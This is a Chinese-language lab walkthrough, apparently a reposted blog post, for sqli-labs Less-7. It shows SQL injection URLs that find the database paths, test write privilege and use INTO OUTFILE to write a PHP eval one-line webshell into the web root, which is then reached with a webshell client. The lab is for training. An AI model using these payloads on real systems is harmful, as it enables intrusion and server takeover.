sqli-libs(7)


導出文件GET字符型注入

0x01介紹

導出到文件就是可以將查詢結果導出到一個文件中,如常見的將一句話木馬導出到一個php文件中,sqlmap中也有導出一句話和一個文件上傳的頁面

常用的語句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,當這里要獲取到網站的在系統中的具體路徑(絕對路徑)

這個要怎么獲取呢,根據系統和數據庫猜測,如winserver的iis默認路徑是c:/inetpub/wwwroot/,這好像說偏了,這是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就/var/www/htm,/var/www/html/htdocs

0x02獲取路徑下面給一個很有可能獲取得到的方法,(因為less7不輸出信息,先從less獲取信息)

首先介紹兩個可以說是函數,還是變量的東西

@@datadir 讀取數據庫路徑
@@basedir MYSQL 獲取安裝路徑

http://127.0.0.1/sql1/Less-7/?id=1%27%20))union%20select%20null,@@datadir,@@basedir%23

可以看看源碼嗎 因為不看源碼我更本不知道他是加了兩個括號  我的天!!!

當然也可以自己測試閉合的條件,1' fail,1" fail,1') fail,1") fail,1')) OK!要問怎么測試是否閉合?方法很多,比方說下面的測試過程

那對於此處注入 沒有輸出 沒有報錯 信息回顯 我們可以干嘛吶???

可以寫入文件 別問我為什么知道 他上面謝了outfile   可是我們不知道他的絕對路徑 從何寫入

判斷是否有寫權限,可以判斷有寫權限

            http://127.0.0.1/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常則有讀寫權限

沒辦法了 這里只有從第一關來獲取了

http://127.0.0.1/sql1/Less-1/?id=-1%27%20union%20select%20null,@@datadir,@@basedir%20%23

 

 

好的 那我們知道了絕對路徑 那接下來 我們嘗試着寫入一句話

0x03愛之終極突破

寫入一句話

http://127.0.0.1/sql1/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20%22C:\\phpStudy1\\PHPTutorial\\WWW\\zhong.php%22%20%23

然后菜刀連接

window系統的無法寫入解決方法

 

 

改成完全控制即可

學習之路 無浮躁 少就是多


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM